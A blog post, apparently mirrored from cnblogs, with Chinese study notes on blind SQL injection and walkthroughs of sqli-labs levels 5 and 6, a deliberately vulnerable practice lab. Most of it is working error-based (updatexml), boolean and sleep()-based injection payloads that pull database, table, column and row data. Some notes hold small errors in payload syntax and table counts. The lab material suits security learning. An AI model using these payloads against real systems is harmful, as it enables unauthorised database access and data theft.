zoukankan      html  css  js  c++  java
  • sqli-labs less-5 --> less-6

    盲注笔记:

    1. SQL盲注攻击:只有两种回显结果,错误和正确;无法用url查询爆出数据库的信息;回显注入语句中加入判断方式,使得回显结果为true或者false
    2. SQL盲注分类:布尔盲注时间盲注,报错盲注(色块的两种类型都只有falsetrue的返回,而报错盲注还有一些错误信息的返回)
    3. 时间和布尔盲注:无法使用回显注入union(有存在于数据库和不存在于数据库之分)
    4. 报错盲注:有报错的提示(有语法错误的提示信息)
    5. 布尔盲注:构造SQL判断语句 --> 如:1’ and length(database())>=5#判断数据库字符长度

                                     利用 1’ and substr(database(),1,1)=’z’#判断第一个字符

                                     1’ and substr(database(),2,1)=’z’#判断第二个字符

                                     1’ and ord(substr(database()),3,1)=119#判断第三个字符的ASCII

          查表名:1’ and substr((select table_name from information_schema.tables where table_schema=’dvwa’ limit 1,1,),2,1)=’u’#

          判断是否是布尔盲注 --> 判断数据库字符的长度 --> 爆数据库名 --> 爆表名 --> 爆字段

         (使用union注入判断)

    6. 时间盲注:利用时间函数,观察不同条件的等待时长;利用sleep(),benchmark()等函数,让MySQL的执行时间变长

               时间盲注多于if这样的函数结合(ifexpr1expr2expr3expr1true,则返回expr2,否则返回expr3的值)

                                     If (length(database())>3,sleep(5),1) 如果数据库字符长度大于三则MySQL休眠五秒,否则查询1

                                     1’ and If (substr(database(),1,1)=’d’,sleep(5),1)

                                     (与布尔盲注基本相同)

    7. 报错注入:构造特殊参数形式,利用某些函数的报错信息进行注入

     

      爆库:1’ and updatexml(1,concat(0x7e,(select database()),0x7e),1)#

             利用updatexml的报错功能,当函数的条件为假时,会将第二个参数的值报错显示,会出现报错,因为updatexml不支 持concat语句,concat是一个错误表达;0x7e=~

      爆表:1’ and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=’dvwa’),0x7e),1)

            8 . 盲注总体思路:将想要查询的数据作为目标,构造SQL条件判断语句,与要查询的数据进行比较,并让数据库告知 当前语句执行是否正确

    --------------------------------------------------------------------------------------------------

    Less-5(报错盲注)

    1.判断是否存在注入点

     执行?id=1 显示正常,而执行?id=1出现报错,首先判断存在注入点且为盲注

     2.爆库名

     通过updatexml函数的报错功能,执行?id=1’ and updatexml(1,concat(0x7e,database(),0x7e),1) --+,得到库的名字为security

     3.爆表

     执行?id=1’ and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=’security’),0x7e),1) --+,出现如下报错,原因未知,改用limit函数

       执行?id=1’ and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=’security’ limit 0,1),0x7e),1) --+        求库security下的第一个表

     执行?id=1’ and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=’security’ limit 1,1),0x7e),1) --+        求库security下的第二个表

     执行?id=1’ and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=’security’ limit 2,1),0x7e),1) --+        求库security下的第三个表

     执行?id=1’ and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=’security’ limit 3,1),0x7e),1) --+        求库security下的第四个表

     执行?id=1’ and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=’security’ limit 4,1),0x7e),1) --+        这是的结果为空,即库security下只有三个表

    综上,得到security下有四个表:emailsuagentsreferersusers

    4.爆字段(爆emails

     执行?id=1’ and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name=’emails’ limit 0,1),0x7e),1) --+

     同第三步一样,得到表emails下有两个列:idemail_id

    5.爆数据(爆id

     执行?id=1’ and updatexml(1,concat(0x7e,(select id from emails),0x7e),1) --+,出现如下问题

     于是将url修改为?id=1’ and updatexml(1,concat(0x7e,(select group_concat(id) from emails),0x7e),1) --+

     -------------------------------------------------------END----------------------------------------------------------------

    Less-6(报错盲注)

    less-5类似

    1.判断是否存在注入点

        执行?id=1时回显正确,执行?id=1时回显正确,执行?id=1”时出现报错,执行?id=1" --+时,发现闭合方式为:” ”,由此判断存在注入点

    2.爆库名

        执行?id=1” and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+

    3.爆表名

        执行?id=1” and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=’security’),0x7e),1) --+,(怎么突然又可以了,迷茫

    4.爆字段(爆emails

        执行?id=1” and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=’emails’),0x7e),1) --+

    5.爆数据(爆email_id

         执行?id=1” and updatexml(1,concat(0x7e,(select group_concat(email_id) from emails),0x7e),1) --+

    -------------------------------------------------------END----------------------------------------------------------------

  • 相关阅读:
    SpringCloud之Eureka注册中心原理及其搭建
    微服务架构及其概念
    SpringBoot(十六)-----Springboot整合JPA
    SpringBoot(十五)-----Springboot配合JDBCTemplate实现增删改查
    MYSQL安装报错 -- 出现Failed to find valid data directory.
    SpringBoot(十四)-----异常处理
    JQuery 隔行变色
    C#断开式连接
    C# 学生表的插入操作
    C#字符串
  • 原文地址:https://www.cnblogs.com/B-roin/p/12293144.html
Copyright © 2011-2022 走看看